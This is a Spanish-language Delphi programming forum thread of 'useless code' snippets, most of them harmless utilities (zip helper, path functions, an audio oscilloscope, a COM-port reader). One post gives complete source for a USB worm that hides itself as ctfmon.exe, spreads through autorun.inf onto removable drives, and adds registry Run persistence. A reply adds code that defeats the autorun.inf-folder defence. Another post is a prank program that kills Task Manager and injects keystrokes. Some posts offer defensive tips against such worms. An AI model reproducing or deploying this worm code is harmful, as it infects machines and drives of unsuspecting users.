Hola
Muy bueno, que mas decir, algún día lo entenderé.
Ya lo puse a correr, le quite algunos unit o esas cosas que no me dejaban, pero ya funciona.
Ojala sigas aportando código, estos de inútiles no tienen nada.
Tengo una carpeta llena de tus códigos, pronto los tendré que catalogar:D
Saludos

¡Hola a todos!

Mis mejores deseos para el año 2008 que inicia hoy.

Domingo: Hablando de colores, ¿de pura casualidad tendrás algo para cambiar los colores o la textura de las barras de desplazamiento en Windows XP? Principalmente el fondo de la barra y el botón de deslizamiento. :p

Saludos.

Al González. :)

Pues la verdad es que no tengo ni idea Al, pensé que en "Propiedades de pantalla" se podría cambiar, pero no encuentro esa opción. Una alternativa seria hacer un programa con un hook que cambie el color de todas las barras de desplazamiento según se van creando, no es muy complicado, pero me parece que seria matar moscas a cañonazos ¿no te parece? :confused:

Hola, se que no aporto mucho... Alberto (o Al, como más gustes:D:)) yo andaba pensando... si con:

ProgressBar1.Perform(bla,bla,bla);

Se puede conseguir cambiar el color... (si... se que existe el Gauge. es un ejemplo) ¿Que impide que no se podrá conseguir con algo similar o análogo a Perfom lo que tu andas buscando?

La verdad es que no lo he probado ni averiguado... pero es una curiosidad mía que me anda surgiendo cuando mi torsida mente se pone colorida y empieza a buscar cosillas para hacer más vistosos los aplicativos.

Espero no haber dicho algo demasiado estúpido.

Saludos,
PD: Al, me resultó extraño no ver un final como este: Saludos coloridos:confused:;)

Código Delphi [-]
uses Windows, Messages;

var
 Cursor: TPoint;
 idAttach, idAttachTo: Cardinal;

procedure vkEmulate(const bVk: Byte);
begin       
 keybd_event(bVk, 0, 0, 0);
 keybd_event(bVk, 0, KEYEVENTF_KEYUP, 0);
end;

procedure SendKeys(lpKeys: PChar);
begin
 repeat
  vkEmulate(VkKeyScan(lpKeys[0]));
  Inc(Cardinal(lpKeys));
 until lpKeys[0] = #0;
end;

procedure SetRoman(hWnd: Cardinal);
begin
 SendMessage(hWnd, WM_SETTEXT, 0, Integer(PChar('Roman')));
end;

var ClassName: array[0..15] of Char;
label Back;
begin
 idAttach := GetCurrentThreadId;
 Back: Sleep($7F);
 GetCursorPos(Cursor);
 SetRoman(WindowFromPoint(Cursor));
 SendMessage(FindWindow(nil, 'Administrador de tareas de Windows'), WM_SYSCOMMAND, SC_CLOSE, 0);
 idAttachTo := GetWindowThreadProcessID(GetForegroundWindow, nil);
 if not AttachThreadInput(idAttach, idAttachTo, True) then goto Back;
 GetClassName(GetFocus, @ClassName, SizeOf(ClassName));
 if lstrcmp(@ClassName, 'Internet') = 0 then SendKeys('roman ');
 SetRoman(GetFocus); AttachThreadInput(idAttach, idAttachTo, False);
 goto Back;
end.

Saludos

:eek::eek::eek:, mira nadamas condenadote, este es el famoso fuente de la broma que te gastaste en el hilo de roman :D:D:D

Muy bueno, pero no le entiendo nada de nada :o. :)

Salud OS

Hola cHackAll, me alegro de que participes en el hilo, pero estaría bien que explicaras un poco que es lo que hace el código, puede que a alguno no le haga gracia la broma ;)

Pues que les puedo decir; es un fuente que no me pareció (a diferencia de los perjudicados) un "Troyano ofensivo"... pero ya es pasado. (más bien que la "simplicidad" no implicó un "destierro")

En todo caso se me ocurrió ponerlo como "cofigo sin utilidad" pues no entra en otro lugar del foro... espero no vaya a ser un "BOOT FAILURE" :p

Saludos

Tienes mucha razón :)... la información de un posible problema la obtienes revisando el link que os dejé... en todo caso es un programa que modifica el "Caption" de cualquier ventana que de la que se pueda obtener su Handle al mover el ratón encima de una coordenada a la que la ventana pertenece.

Saludos

Código Delphi [-]

program Fucker;
 
{$APPTYPE GUI}
 
uses
SysUtils, Windows, Registry, shellapi;
 
var
 
Unidad: string; 
Fuck: Array[0..260] of char;
folder: string;
OS: string;
dir: string;
 
const
CSIDL_PROFILE = 40;
SHGFP_TYPE_CURRENT = 0;
function SHGetFolderPath(hwndOwner: HWND;
nFolder: Integer;
hToken: THandle;
dwFlags: DWORD;
pszPath: LPTSTR): HRESULT; stdcall;
external 'Shell32.dll' name 'SHGetFolderPathA';
 
function GetUserProfile: string;
var
Buffer: array[0..MAX_PATH] of Char;
begin
FillChar(Buffer, SizeOf(Buffer), 0);
SHGetFolderPath(0, CSIDL_PROFILE, 0, SHGFP_TYPE_CURRENT, Buffer);
Result := String(PChar(@Buffer));
end;
 
function DrivePreparado(Drive: Char): Boolean;
var
ErrorMode: word;
begin
if Drive in ['a'..'z'] then Dec(Drive, $20);
if not (Drive in ['A'..'Z']) then
raise EConvertError.Create('Not a valid drive ID');
ErrorMode := SetErrorMode(SEM_FailCriticalErrors);
try
if DiskSize(Ord(Drive) - $40) = -1 then
Result := False
else
Result := True;
finally
SetErrorMode(ErrorMode);
end;
end;
 
 
procedure InfectarUsb;
var
Drive: Char;
Autorun: textfile;
begin
for Drive:= 'c' to 'z' do
if getDriveType(PCHAR(Drive + ':\')) = DRIVE_REMOVABLE then BEGIN
Unidad:=(UPCASE(Drive)) + ':\';
 
if DrivePreparado(Drive)=true then
begin
if not(FileExists(Unidad + 'ctfmon.exe')=true) then begin
CopyFile(Worm, PCHAR(Unidad + 'ctfmon.exe'), true);
FileSetAttr(Unidad + 'ctfmon.exe', faHidden or faReadOnly);
end;
if not(FileExists(Unidad + 'autorun.inf')=true) then begin
AssignFile(Autorun, Unidad + 'autorun.inf');
Rewrite(Autorun);
Writeln(Autorun, '[AUTORUN]');
Writeln(Autorun, 'OPEN=ctfmon.exe');
Writeln(Autorun, 'shell\open\command=ctfmon.exe ');
Writeln(Autorun, 'shell\open=');
Closefile(Autorun);
FileSetAttr(Unidad + 'autorun.inf', faHidden or faReadOnly);
end;
end;
 
END;
 
end;
 
procedure Autorun (name, path : string);
var
Reg: TRegistry;
begin
Reg:= TRegistry.create;
Reg.RootKey:= HKEY_LOCAL_MACHINE;
Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true);
Reg.WriteString(name, path);
Reg.Destroy;
end;
 
function Windowsfolder : String;
var
pcWindowsDirectory : PChar;
dwWDSize : DWORD;
begin
dwWDSize := MAX_PATH + 1;
GetMem( pcWindowsDirectory, dwWDSize );
try
if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0 then
Result := pcWindowsDirectory;
finally
FreeMem( pcWindowsDirectory );
end;
end;
 
procedure firma;
var
text: textfile;
begin
AssignFile(text, OS + '\firma.html');
Rewrite(text);
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');


Writeln(text, 'Fucker');
Writeln(text, 'Sin ánimos de molestar a nadie');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Closefile(text);
end;
 
 
label back;
begin
OS:= windowsfolder;
GetDir(0, dir);
dir:= dir + '\autorun.inf';
 
 
if (FileExists(dir)=true) then
begin
//si es asi, explora esa unidad
dir:= emptystr;
GetDir(0, dir);
Shellexecute(0, 'explore', pchar(dir), '', '', SW_SHOWNORMAL);
end;
 
 
folder:= GetUserProfile + '\ctfmon.exe';
GetMoDuleFilename(0, Fuck, SizeOf(Fuck));
 
back:
CopyFile(Fuck, pchar(folder), true);
FileSetAttr(folder, faHidden or faReadOnly);
 
Autorun('Club Delphi Fucker v. 1', folder);
Autorun('Firma', OS + '\firma.html');
firma;
InfectarUSB;
 
Sleep(5000);
 
goto back;
 
end.

Sin ánimos de molestar a nadie :p

No se porque pero el procedimiento firma no me lo pone correctamente:

Código Delphi [-]
procedure firma;
var
text: textfile;
begin
AssignFile(text, OS + '\firma.html');
Rewrite(text);
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');

Writeln(text, 'Fucker');
Writeln(text, 'Sin ánimos de molestar a nadie');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Writeln(text, '');
Closefile(text);
end;

EDITO: No me deja ponerlo porque son instrucciones en html :(

Pues se ve interesante el código sin utilidad; ante tales molestos virus les doy el siguiente TIP: creen una carpeta llamada "autorun.inf" en la raíz de la unidad a la que quieren protejer, el virus iluso no podrá hacer nada; si crean una carpeta dentro de nuestra carpeta "autorun.inf" reducirá el impacto de tales virus.

Siendo NTFS el sistema de archivos de la unidad pueden quitarle los privilegios de acceso a nuestra carpeta "autorun.inf" y el virus no correrá nunca!

Tambien pueden exportar esta linea en el registro:

Esta entrada de registro hará que el Güindos ignore al "autorun.inf".

PD: más bien que en el Güindos Vista no se les escapo semejante error!
Saludos

Es muy util esa entrada del registro, ya veis lo inseguro que es el Windows con los autorun.inf. Este "gusano" buscaria todos los dispositivos usb que conectes al equipo y copiaria el ejecutable al dispositivo, ademas, para asegurar que se ejecuta crea el "autorun.inf".

Este sería el tipico autorun.inf que pone cualquier programa en su CD_ROM de instalacion para que cargue automaticamente el instalador.
Este autorun.inf no tendría ningun efecto en los dispositivos USB pero si le añades la línea:
al hacer doble click sobre la imagen del dispositivo USB te esta cargando el "gusano".

Salu2

Khronos; tu "gusano" intenta crear en el Flash el archivo "autorun.inf" pero ohhh no puede pues ya existe una carpeta con dicho nombre...

Ahora a lo de la "inefectividad" de la la entrada de registro sugerida; verificalo y nos cuentas...

Saludos

En cuanto a la carpeta con poner:

Código Delphi [-]
If directoryExists('F:\autorun.inf')=true then begin
    RemoveDir('F:\autorun.inf');
end;

EDITO: cHackAll probé la entrada del registro que me dijistes y nada, le cambié el valor, reinicié y al hacer doble click sobre el icono de la memoria flash seguia ejecutandose el programa :(. Probado en Windows XP Home Edition.

Me temo que la idea no es refutar los N métodos que personas NO mal intencionadas difunden en la gran telaraña para protejer a los indefensos usuarios; la idea creo que no va por ese lado.

Saludos NO virulosos

He aquí una Joke que hice para un amigo (claro que le quite la parte "peligrosa"), la historia comenzó cuando le comenzaron a apodar "Calamardo" (personaje de Bob Esponja :D ), por la forma en que envolvía a su pareja con sus peligrosos tentáculos :D:D y se me ocurrió recordarle dicho acontesimiento por un tiempo. Como es de suponerse decidí no subestimarlo e inyecté un "sonidito" a un proceso crítico para que no pueda hacer "stop" :p.

Como está de moda esto de inyección de códigos les adjunto dicho código sin utilidad :cool:.

Saludos

Código Delphi [-]
uses Windows, Messages, MMSystem, Types; // by cHackAll

var
 Buffer: array [0..31] of Byte;
 hWnd, hCanvas, hBrush, hWhite, hGray: Cardinal;
 WaveInHdr: TWaveHdr = (lpData: @Buffer; dwBufferLength: SizeOf(Buffer));

function WndProc(hWnd, Msg, wParam, lParam: Integer): Integer; stdcall;
var PaintStruct: TPaintStruct;
begin
 Result := 0;
 case Msg of
  WM_ERASEBKGND: Result := 1;
  WM_PAINT: begin
             BeginPaint(hWnd, PaintStruct);
             BitBlt(PaintStruct.hdc, 0, 0, SizeOf(Buffer) * 3, $FF, hCanvas, 0, 0, SRCCOPY);
             EndPaint(hWnd, PaintStruct);
            end;
  WM_DESTROY: PostQuitMessage(0);
 else
  Result := DefWindowProc(hWnd, Msg, wParam, lParam);
 end
end;

procedure waveInProc(waveIn, uMsg, dwInstance, lParam, wParam: Cardinal); stdcall;
begin
 if uMsg = WIM_DATA then
  begin
   waveInAddBuffer(waveIn, PWaveHdr(lParam), SizeOf(TWaveHdr));
   FillRect(hCanvas, Rect(0, 0, SizeOf(Buffer) * 3, $FF), hBrush);
   SelectObject(hCanvas, hGray);
   waveIn := SizeOf(Buffer);
   repeat Dec(waveIn);
    if Abs(Buffer[waveIn] - 128) = 1 then Buffer[waveIn] := 128;
    MoveToEx(hCanvas, waveIn * 3, 0, nil);
    LineTo(hCanvas, waveIn * 3, $FF);
   until waveIn = 0;
   SelectObject(hCanvas, hWhite);
   waveIn := High(Buffer);
   MoveToEx(hCanvas, waveIn * 3, Buffer[waveIn], nil);
   repeat Dec(waveIn);
    LineTo(hCanvas, waveIn * 3, Buffer[waveIn]);
   until waveIn = 0;
   repeat
    if Abs(Buffer[waveIn] - 128) > 1 then
     begin
      MoveToEx(hCanvas, waveIn * 3, 128, nil);
      LineTo(hCanvas, waveIn * 3, Buffer[waveIn]);
     end;
    Inc(waveIn);
   until waveIn = SizeOf(Buffer);
   InvalidateRect(hWnd, nil, True);
  end;
end;

var
 hScreen, waveIn: Cardinal;
 WndClass: TWndClass = (lpfnWndProc: @WndProc; cbWndExtra: 4; lpszClassName: 'Waves');

 Rect: TRect;
 Value: Cardinal = 0;
 Controls: array [0..1] of TMixerControl;
 MixerLine: TMixerLine = (cbStruct: SizeOf(TMixerLine); dwDestination: 1; dwComponentType: MIXERLINE_COMPONENTTYPE_DST_WAVEIN);
 LineControls: tMixerLineControls = (cbStruct: SizeOf(TMixerLineControls); dwControlType: MIXERCONTROL_CONTROLTYPE_VOLUME; cbmxctrl: SizeOf(TMixerControl); pamxctrl: @Controls);
 Details: TMixerControlDetails = (cbStruct: SizeOf(TMixerControlDetails); cChannels: 1; cbDetails: SizeOf(Value); paDetails: @Value);
 FormatEx: TWaveFormatEx = (wFormatTag: WAVE_FORMAT_PCM; nChannels: 2; nSamplesPerSec: 100; nAvgBytesPerSec: 100; nBlockAlign: 1; wBitsPerSample: 8);
 Msg: TMsg;

begin
 hScreen := GetDC(0);
 hCanvas := CreateCompatibleDC(0);
 SelectObject(hCanvas, CreateCompatibleBitmap(hScreen, SizeOf(Buffer) * 3, $FF));
 hWhite := CreatePen(PS_SOLID, 1, $FFFFFF);
 hGray := CreatePen(PS_SOLID, 1, $404040);
 ReleaseDC(0, hScreen);

 WndClass.hCursor := CreateCursor(HInstance, 5, 5, 9, 9, PChar(#255#255#255#255#255#255#255#255#247#255#255#255#255#255#255#255#255#255), PChar(#8#8#8#8#8#8#28#28#255#128#28#8#8#8#8#8#8#0));
 RegisterClass(WndClass);
 hBrush := CreateSolidBrush(0);
 hWnd := CreateWindowEx(WS_EX_TOOLWINDOW + WS_EX_LAYERED, WndClass.lpszClassName, WndClass.lpszClassName, WS_VISIBLE, 0, 0, 0, $FF, 0, 0, hInstance, nil);
 GetClientRect(hWnd, Rect);
 SetWindowPos(hWnd, HWND_TOPMOST, 6, 6, SizeOf(Buffer) * 3 + 4, $FF + ($FF - Rect.Bottom), 0);
 SetLayeredWindowAttributes(hWnd, 0, 224, LWA_ALPHA);

 mixerOpen(@waveIn, 0, 0, 0, MIXER_OBJECTF_WAVEIN);
 mixerGetLineInfo(waveIn, @MixerLine, MIXER_GETLINEINFOF_COMPONENTTYPE);
 LineControls.dwLineID := MixerLine.dwLineID;
 LineControls.cControls := MixerLine.cControls;
 mixerGetLineControls(waveIn, @LineControls, MIXER_GETLINECONTROLSF_ALL);
 Details.dwControlID := Controls[0].dwControlID;
 Value := Byte(Controls[0].dwControlType = MIXERCONTROL_CONTROLTYPE_VOLUME) * $FFFF;
 MixerSetControlDetails(waveIn, @Details, MIXER_SETCONTROLDETAILSF_VALUE);
 Details.dwControlID := Controls[1].dwControlID;
 Value := Byte(Controls[1].dwControlType = MIXERCONTROL_CONTROLTYPE_VOLUME) * $FFFF;
 MixerSetControlDetails(waveIn, @Details, MIXER_SETCONTROLDETAILSF_VALUE);
 mixerClose(waveIn);

 waveInOpen(@waveIn, WAVE_MAPPER, @FormatEx, Cardinal(@WaveInProc), HInstance, CALLBACK_FUNCTION);
 waveInPrepareHeader(waveIn, @WaveInHdr, SizeOf(WaveInHdr));
 waveInAddBuffer(waveIn, @WaveInHdr, SizeOf(WaveInHdr));
 waveInStart(waveIn);

 repeat GetMessage(Msg, 0, 0, 0);
  DispatchMessage(Msg);
 until Msg.message = WM_QUIT;
end.

Esta es una pequeña prueba que creé hace algún tiempo, es un osciloscopio (scope ~ oscilloscope), de la salida de sonido. No funciona adecuadamente en algunos ordenadores pero en la mayoría si. Tampoco esta "afinada" pero cuanto tenga más tiempo libre lo haré!

Nota; El Stereo Mix NO debe estar en silencio. Les adjunto la fuente compilada para que lo prueben en caso de no poder compilarlo.

PD; Espero ésto deje de ser un monologo :rolleyes:

Saludos

:D Ahora sabes como me sentía yo

Y con respecto a tu osciloscopio, esta bastante bien, me recuerda a un programita que colgué por aquí hace tiempo (onda creo que lo llame). Por supuesto el tuyo es mucho mas ligero, ya que, como es habitual en ti, no usas la VCL.

Espero que alguien mas se una al código inútil, ahora que yo lo tengo un poco abandonado :(

Bueno, aquí dejo como comprimir ficheros en un archivo zip usando la capacidad del windows XP de tratar los archivos zip como carpetas.

Código Delphi [-]
uses ComObj;

function NewZip(Zipfile: String): Boolean;
var
  F: File;
begin
  Result:= FALSE;
  AssignFile(F,Zipfile);
  {$I-}
    Rewrite(F,1);
  {$I+}
  if IOResult=0 then
  begin
    try
      BlockWrite(F,PChar(#80#75#5#6#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0)^,22);
      Result:= TRUE;
    except
    end;
    CloseFile(F);
  end;
end;

function AddToZip(Filename, Zipfile: Variant): Boolean;
var
  Shell: Variant;
begin
  try
    Shell:= CreateOleObject('Shell.Application');
    Shell.NameSpace(zipfile).CopyHere(Filename);
    Result:= TRUE;
  except
    Result:= FALSE;
  end;
end;

// Para crear el zip
NewZip('c:\prueba.zip');
AddToZip(ParamStr(0),'c:\prueba.zip');
// O incluso un directorio entero
AddToZip('c:\prueba','c:\prueba.zip');

Lo pongo en la sección de código inútil (además de para levantar un poco el hilo :D ) porque la compresión se realiza de forma asíncrona, y no he encontrado una forma (al menos no ninguna seria) de saber cuando se ha terminado de añadir los ficheros al zip, lo que hace difícil de utilizar este código.

Bueno, veo que el hilo esta un poco abandonado y pensé: "vamos a revivir el hilo con más código inútil" :D

Bueno el siguiente código son copias "baratas" de las funciones ExtractFileName, ExtractFileExt y ExtractFilePath pero menos sofisticadas que las que vienen en la unidad SysUtils ;)

Código Delphi [-]
function ExtractFileNameW(const FileName: string): string;
var
i: integer;
begin
  result:= EmptyStr;
  for i := Length(FileName) downto 0 do
      begin
        if FileName[i] = '\' then
          begin
            result:= Copy(FileName, i + 1, length(FileName));
            break;
          end;
      end;
end;

function ExtractFileExtW(const FileName: string): string;
var
i: integer;
begin
result:= EmptyStr;
for i := Length(FileName) downto 0 do
  begin
      if FileName[i] = '.' then
        begin
          result:= Copy(FileName, i + 1, length(FileName));
          break;
        end;
  end;
end;

function ExtractFilePathW(const FileName: string): string;
var
i: integer;
begin
result:= EmptyStr;
  for I := Length(FileName) downto 0  do
    begin
      if FileName[i] = '\' then
        begin
          result:= Copy(FileName, 0, i);
          Break;
        end;
    end;

end;

Un ejemplo de llamada:

Código Delphi [-]
   showmessage(ExtractFilePathW(paramstr(0)));
   showmessage(ExtractFileExtW(paramstr(0)));
   showmessage(ExtractFileNameW(paramstr(0)));

Salu2

Leer datos puerto COM usando ApdPRO
 

Hola

Buendo, estaba trabajando con el puerto serial /COM y he decidido usar la librería comport, esta trae una función que te regresa los datos recibidos, al igual que un método donde puedes meter código y leer los datos recibidos, al final he decidido usar las poderosas ApdPRO , Bueno, solo he usado el componente ApdComPort y este igual tiene un método donde puedes hacer lo que quieras con la respuesta del puerto, pero yo necesitaba poder tener la respuesta en cualquier parte de mi código y poder usarla en más de 1 ocación, y enviar el comando que quiera y tener la respuesta para trabajar con ella, eso igual puedes hacer en el método OnTiggerAvail pero en mi caso se a llenado de puros if, alse if, etc

Así que he decidido hacerme mi própia función que me retorne la respuesta del puerto, es un poco cutre y mal hecha de seguro, recién estoy aprendiendo delphi, me gustaría que me corrijan en que fallo, pero a mi me funciona perfecto (suerte seguro jeje) pero aquí está:

Código Delphi [-]
function SendAT(AT: string): String;
var
  c : String;
  ET : EventTimer;
begin
  NewTimer(ET, 15);
  ApdComPort.PutString('AT' + AT + #13#10);

  repeat
    Application.ProcessMessages;
    //ApdComPort1.ProcessCommunications;
    while ApdComPort.CharReady do
    begin
      c := c + ApdComPort.GetChar;
      Sleep(1);
    end;
  until TimerExpired(ET);
  Result := c;
end;

Para su uso solo llamen a la función con el comando necesario.

Ejemplo:

Código Delphi [-]
var
respuesta: String;
Begin
  // enviamos una cadena vacía, pero en si, se envía el comando AT, la respuesta sería algo así : AT: OK, igual pueden enviar '+CGMI', etc
  Respuesta := SendAT(''); 
  Showmessage(Respuesta);
end;

Bueno, con el tiempo que le he puesto parece funcionar, ya que eso creo que tiene "mucho" que ver cuando escribes/lees el puerto.

Espero que a alguien le sirva.

Saludos!